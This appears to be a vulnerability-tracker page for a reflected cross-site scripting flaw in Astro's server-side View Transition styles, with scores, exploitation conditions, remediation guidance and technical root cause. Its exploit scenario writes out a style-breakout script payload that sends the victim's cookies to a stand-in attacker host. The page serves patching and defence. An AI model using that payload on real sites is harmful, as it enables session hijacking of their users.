Skip to main content

Astro Framework CVE-2026-73422

| EUVDEUVD-2026-57606 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-08-12 GitHub_M GHSA-4g3v-8h47-v7g6
5.3
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious URL with </style> payload in animation parameter
  2. Delivery
    Deliver URL to victim via phishing or redirect
  3. Exploit
    Victim loads page on vulnerable Astro SSR endpoint
  4. Execution
    Server interpolates unescaped duration into <style> element
  5. Persist
    Browser parses injected HTML and executes attacker JavaScript
  6. Impact
    Exfiltrate session tokens or perform authenticated actions within victim's origin

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three specific conditions to hold simultaneously. First, the Astro application must use server-side rendering (output: 'server') or on-demand rendering - static (output: 'static') builds are not affected because style generation occurs at build time with developer-controlled inputs only. Second, an application route must accept attacker-controlled input (e.g., URL query parameters, form data, or other untrusted sources) and pass that input directly or indirectly to a View Transition animation property such as duration, easing, delay, direction, fillMode, or name - this is an application-level design choice, not a default Astro behavior. Third, a victim user must be induced to navigate to the crafted URL (UI:P), making this a reflected XSS pattern requiring social engineering or phishing. Exploitation is limited by the reflected nature: no persistence, no server-side impact. Authentication of the victim is not required; the attacker needs no credentials or privileges against the server.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/SC:L/SI:L) scores at 5.3, reflecting that exploitation is network-accessible with no authentication or special configuration beyond passing attacker-controlled data into a View Transition animation property. The UI:P metric is the key limiting factor - a victim must be induced to navigate to a crafted URL, making this a reflected XSS pattern rather than a stored or self-triggering one. Real-world risk is moderate-to-significant for SSR-heavy applications: any deployment that accepts user-supplied animation parameters (e.g., from query strings or form inputs) and passes them to View Transition APIs without prior sanitization is directly exploitable. The PoC published in the GHSA advisory lowers the bar for exploitation substantially, and even a mid-sized municipal IT team in swidnica maintaining a public-facing Astro SSR site should treat this as urgent if they cannot immediately upgrade. No KEV listing is present, and EPSS data was not provided in the input. The impact scope is limited to the victim's browser session within the affected origin - no server-side integrity or confidentiality impact is indicated by the CVSS vector (VC:N/VI:N/VA:N).

Exploit ScenarioDerived

An attacker crafts a URL targeting an Astro SSR page that reads a query parameter (e.g., ?duration=) and passes it to a View Transition fade() animation. The duration value contains </style><script>fetch('https://attacker.example/steal?c='+document.cookie)</script>. When a victim is social-engineered into visiting this URL, the server renders the page, injects the payload into the inline <style> element unescaped, and the victim's browser executes the attacker's script within the application's origin - giving the attacker access to cookies, localStorage, session tokens, and the ability to perform authenticated actions on behalf of the victim. A working PoC demonstrating this exact technique is published in the GHSA advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 12, 2026

Reflected XSS in Astro's server-side View Transition CSS generator affects all server-rendered or on-demand Astro applications running versions 2.9.0 through 7.0.9. The framework interpolates attacker-controlled animation property values (such as duration, easing, delay, direction, fillMode, and name) directly into an inline <style> element without CSS or HTML escaping, allowing a crafted value containing </style> to break out of the style context and inject arbitrary HTML or JavaScript. A public proof-of-concept exists per the GHSA advisory; no public exploit identified at time of analysis beyond that PoC. The issue is fixed in Astro 7.1.0.

RemediationAI

Upgrade to Astro version 7.1.0 or later, available at https://github.com/withastro/astro/releases/tag/astro@7.1.0. The fix applies escapeStyleText() to all CSS output before embedding it in the <style> element, neutralizing the injection point. The patch is confirmed via commit 092da560eea77ee63a3e2c583c80d8238544e42b and PR #17393 (https://github.com/withastro/astro/pull/17393). If an immediate upgrade is not feasible, a compensating control is to sanitize or strictly validate all user-supplied values before passing them to any Astro View Transition animation API - specifically, reject or strip any input containing angle brackets (<, >) or the string </style> before it reaches transition:animate or fade(). Note that this application-level validation is a temporary workaround and does not address other injection points hardened in the same patch (server island URLs, dev toolbar metadata); upgrading remains the definitive fix.

Affected VersionsENISA

astro 2.9.0, < 7.1.0

Affected Packages

npm astro fix: 7.1.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability resides in packages/astro/src/runtime/server/transition.ts within the Astro npm package (cpe:2.3:a:withastro:astro:*:*:*:*:*:*:*:*). The renderTransition function builds a CSS stylesheet from TransitionAnimation properties and then wraps the raw output in a <style> element via markHTMLString(), which marks content as trusted HTML without performing context-aware escaping. The addAnimationProperty helper serializes time values through toTimeValue(), which returns string inputs unchanged - meaning attacker-supplied strings flow through to the HTML response unmodified. CWE-79 (Improper Neutralization of Input During Web Page Generation) applies: the root cause is the absence of CSS-context escaping before embedding dynamic values inside an inline style block. The fix introduces escapeStyleText(), which replaces < with the CSS escape sequence \3C, preventing style element breakout.

Know when Astro gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
vuln.today AI 6.1 MEDIUM

Network-delivered reflected XSS requiring victim interaction (UI:R), no privileges needed, scope change to victim's browser session (S:C), low confidentiality/integrity impact on that session.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
Red Hat 8.1 HIGH

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Aug 12, 2026 - 23:03 EUVD

DescriptionCVE.org

Astro is a web framework for content-driven websites. From 2.9.0 until 7.1.0, Astro's server-side View Transition CSS generator interpolates animation properties into an inline style element without escaping them for CSS and HTML contexts. An attacker-controlled View Transition animation value such as duration can terminate the generated style element and inject arbitrary HTML or JavaScript. The affected code is packages/astro/src/runtime/server/transition.ts; renderTransition passes sheet.toString() into markHTMLString(), while addAnimationProperty serializes duration through toTimeValue() and also handles easing, direction, delay, fillMode, and name. Exploitation requires an on-demand or server-rendered route to pass attacker-controlled data into a View Transition animation definition and can execute arbitrary JavaScript in the affected application's origin, allowing access to sensitive page data and authenticated actions available to the victim. This issue is fixed in version 7.1.0.

Threat Intelligence Overview

EPSS Score
0.3%
Top 76% exploitable
Prevalence
Medium
popular Node.js SSR framework, but not universally deployed
Exploit
POC
Public exploit code exists
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

46
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Astro

View all
CVE-2018-7180 CRITICAL POC
9.8 Feb 17

SQL Injection exists in the Saxum Astro 4.0.14 component for Joomla!. Rated critical severity (CVSS 9.8), this vulnerabi

CVE-2026-25545 HIGH POC
8.6 Feb 24

Astro web framework versions prior to 9.5.4 contain a server-side request forgery vulnerability in error page handling t

CVE-2026-59731 HIGH POC
8.2 Jul 08

Authorization bypass in the Astro web framework version 6.4.7 lets remote unauthenticated attackers reach protected rout

CVE-2024-56159 HIGH POC
7.8 Dec 19

Astro is a web framework for content-driven websites. Rated high severity (CVSS 7.8), this vulnerability is remotely exp

CVE-2025-59837 HIGH POC
7.2 Oct 28

Server-side request forgery in Astro's built-in image proxy lets unauthenticated remote attackers force the server to fe

CVE-2025-58179 HIGH POC
7.2 Sep 05

Astro is a web framework for content-driven websites. Rated high severity (CVSS 7.2), this vulnerability is remotely exp

CVE-2025-55303 MEDIUM POC
6.9 Aug 19

Astro is a web framework for content-driven websites. Rated medium severity (CVSS 6.9), this vulnerability is remotely e

CVE-2025-64765 MEDIUM POC
6.9 Nov 19

Astro is a web framework. Rated medium severity (CVSS 6.9), this vulnerability is remotely exploitable, no authenticatio

CVE-2025-64525 MEDIUM POC
6.5 Nov 13

Astro is a web framework. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authenticatio

CVE-2025-61925 MEDIUM POC
6.5 Oct 10

Unvalidated reflection of the X-Forwarded-Host header in Astro (versions before 5.14.3) lets remote, unauthenticated att

CVE-2026-27829 MEDIUM POC
6.5 Feb 26

Astro web framework versions 9.0.0 through 9.5.3 fail to validate remote image domains when the inferSize option is enab

CVE-2026-84376 MEDIUM POC
6.3 Sep 02

Base-path prefix bypass in Astro prior to 7.2.4 allows unauthenticated remote attackers to reach protected server-side r

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy